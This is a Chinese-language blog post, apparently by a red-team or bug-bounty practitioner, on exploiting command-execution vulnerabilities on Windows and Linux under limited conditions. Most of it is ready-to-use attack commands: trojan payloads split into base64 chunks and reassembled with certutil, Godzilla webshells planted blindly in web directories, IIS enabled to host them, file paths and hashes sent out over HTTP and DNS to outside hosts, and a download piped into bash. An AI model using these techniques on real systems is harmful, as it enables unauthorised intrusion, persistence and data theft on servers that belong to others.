最近在家很沮丧,来回面试好几家,大公司有些问题还能问到点子上,小公司问的大部分都是一些奇葩没水平的问题,问1+1=多少让爱因斯坦解答不一样也是2,这种类型的问题搞得我心情不好,有点学不进东西,之前拖欠了太多技术债务也没有解决,打算先从小的问题开始慢慢解决

命令执行辅助脚本编写

之前遇到命令执行比较复杂,苛刻条件越来越多,大部分都不了了放弃利用了。现在有空重新弄一下,我把这些情况分为windows linux,有无回显,是否DNS出网,命令执行位置GET或POST,是否可写shell,权限高低细分下来64种情况,一半都是比较简单就不写了

测试环境搭建

细分这么多情况搭建环境特别麻烦,不过linux环境直接用vulhub项目拉起漏洞复现环境测试,windows我这里直接就用的之前的虚拟机+向日葵漏洞

Windows

有回显总体来说还舒服:

有回显出网

适用于certutil无法直接下载或者杀毒拦截严重的情况,y4er大佬在先知已经写过这个了

powershell -c "'a' | Out-File C:\1.txt -Append"

不过我觉得他的太慢了,文件太大的时候慢的很,看其他人说echo,其实在windows上echo并不好用我自己找了一下替代echo的方案,利用set命令就可以解决echo会追加换行的问题

<nul set /p "=Hello"

<nul set /p "=Hello">output.txt

解决这个问题就可以使用多线程并发快速落地文件了,之后就可以切割我们的木马,之后base64编码、url编码解决传输问题,编写完成脚本之后会生成两个copy命令辅助我们在不同Get和post下还原:

脚本切割了51次,生成了comeout.txt,用这个就和用暴力破解的字典一样直接burp导入就好了

勾上url编码

攻击结束:

之后是还原文件:

certutil.exe+-f+-decode+c:\test\§output§.txt+c:\test\§test§.bin

之后利用脚本生成的命令还原校验hash,不出一分钟攻击就结束了

清理垃圾:

del *.bin *.txt

有回显不出网

这部分主要还是不出网利用思路一样,搭建HTTP的正向webshell就可以继续攻击内网了,可以先写一个一句话木马,之后再上传HTTP正向代理脚本

寻找web目录,可以找个网站特定的js或者图片

dir /s /b C:\web.config

如果不是web服务命令执行,权限高可以直接一条命令开启IIS的web服务器,直接写入默认的IIS目录C:\inetpub\wwwroot,估计还是内网用的多,如果你够疯狂,权限不够去切割exp去提权,熟悉了exp搞起来也不难,就是很麻烦,因为很多提权的exp用起来都是要手动修改的,没有超级大的团队基本上没有这个时间成本:

net start W3SVC

写入一句话,老样子base64和url编码,我用的哥斯拉,哥斯拉的马没有空格方便:

解码链接:

可以上线操作了:

默认IIS并没有装上,可以一条命令装上

Install-WindowsFeature -Name Web-Server -IncludeManagementTools

或者

Install-WindowsFeature Web-Server
Install-WindowsFeature Web-Default-Doc
Install-WindowsFeature Web-Dir-Browsing
Install-WindowsFeature Web-Http-Errors
Install-WindowsFeature Web-Static-Content
Install-WindowsFeature Web-Http-Redirect
Install-WindowsFeature Web-Http-Logging
Install-WindowsFeature Web-Custom-Logging
Install-WindowsFeature Web-Log-Libraries
Install-WindowsFeature Web-Request-Monitor
Install-WindowsFeature Web-Http-Tracing
Install-WindowsFeature Web-Stat-Compression
Install-WindowsFeature Web-Filtering
Install-WindowsFeature Web-Basic-Auth
Install-WindowsFeature Web-Digest-Auth
Install-WindowsFeature Web-IP-Security
Install-WindowsFeature Web-Url-Auth
Install-WindowsFeature Web-Windows-Auth
Install-WindowsFeature Web-Net-Ext45
Install-WindowsFeature Web-Asp-Net45
Install-WindowsFeature Web-WebSockets
Install-WindowsFeature Web-Mgmt-Console
Install-WindowsFeature Web-Scripting-Tools
Install-WindowsFeature Web-Mgmt-Service

无回显出网

闭着眼睛拉马子就行,要写webshell也行。http可以cmd验证一下,dns有点麻烦,window没办法直接拼接到域名上,遇到中文路径就行不通,就没写了

for /F %i in ('dir /s /b c:\web.config') do curl http://www.baidu.com/%i

低版本windows用证书工具请求:

for /F %i in ('dir /s /b c:\web.config') do -urlcache -split -f http://www.baidu.com/%i

无回显不出网可写shell (权限高/权限低)

这部分主要难点在找web目录,可以先把web目录写进特定的地方,我这里用必有权限的tmp环境变量之后利用命令去一个个判断延迟判断:

dir /s /b c:\hacker.js > %TMP%\out.txt

不清楚是C盘还是D盘,可以使用|| windows链接符,如下:

dir /s /b c:\hacker.js  > %TMP%\out.txt || dir /s /b d:\hacker.js > %TMP%\out.txt

写完就想办法读取出来,一般国内路径有中文,对文件进行base64编码避免干扰。

certutil.exe -encode %TMP%\out.txt %TMP%\base.txt
type %TMP%\base.txt

需要删除无用字符:

type %TMP%\base.txt | findstr /V "^---" > %TMP%\cleaned.txt

写一半本来想通过延迟去一个个比对,但是发现更好的办法可以盲写webshell,比我上面的速度快不少:

for /r C:\  %i  in  (sy-small-banner*.png) do @echo  "test" > %i.php

无回显不出网不可写shell(权限高/权限低)

这种基本可以放弃了,深入利用非常困难,最多执行一下命令把结果挂到web目录拿个100分,运气好是重要系统的话拿个几千分可以跑了,顶级大佬应该有其他办法

Linux

docker中的linux缺少很多命令,比较有意思的是ip和curl命令居然还有,如果存在curl正常写入下载就好了

不存在curl依然要用echo去写马,写webshell就找web路径,写一般的马就写到/tmp目录下就行

出网

不推荐使用反弹shell,现在流量安全设备到处都是,可以肯定100%会检测到这类攻击事件,就算不拦截,反弹shell的流量也是全部是明文,蓝队只需要看一眼流量设备就能知道后续发生的所有事情,极度不推荐专业红队用这类操作

直接下载

curl -o /tmp/test http://www.baidu.com/img/flexible/logo/pc/result.png  | /bin/bash

linux的echo依然存在换行的问题,不过可以echo -n取消换行

老样子切割准备开始冲:

echo aWQgPiBwdWJsaWMvYXNzZXRzL2Fzc2V0cy5wbmc= | base64 -d > /tmp/0.bin

dns出网验证hash,curl必须要http,不然很多环境验证ssl直接被卡了:

md5=$(md5sum /tmp/test | cut -d ' ' -f1)".335ca4a5b0.ipv6.1433.eu.org" && curl "http://$md5"

其他写法,用于不支持命令链接的情况

curl "http://$(md5sum /tmp/1.txt | cut -d ' ' -f1).335ca4a5b0.ipv6.1433.eu.org"

权限高写ssh公钥,添加用户,,计划任务这些,linux能做的稍微多一些,对linux文件系统熟悉的师傅应该玩的可以更花

不出网(可回显/不可回显)

找web目录,可回显还是比较简单

find / -type f -name assets.png 2>/dev/null

不可回显,找到图片assets.png,web目录之后挂上结果

result=$(find / -type f -name assets.png 2>/dev/null | sed 's|/[^/]*$||') echo "$result" > "${result}/1.txt"

最复杂的盲写webshell文件,思路一样是找图片盲写:

for i in `find /home -name "website.png"`; do echo "text" >`basename $i`.php; done

摆烂完结,调节一下情绪后面继续学Windows,学太多好多都忘了,复习都要几个月,命令执行有些漏洞触发其实非常复杂,可能提交的和回显完全要触发多步,检测异步的命令注入即使是老师傅也非常容易错过,利用起来就更加复杂了,这篇文章依然没能完全减轻工作复杂性,本文使用的脚本已经上传Github https://github.com/kaliworld/cut_file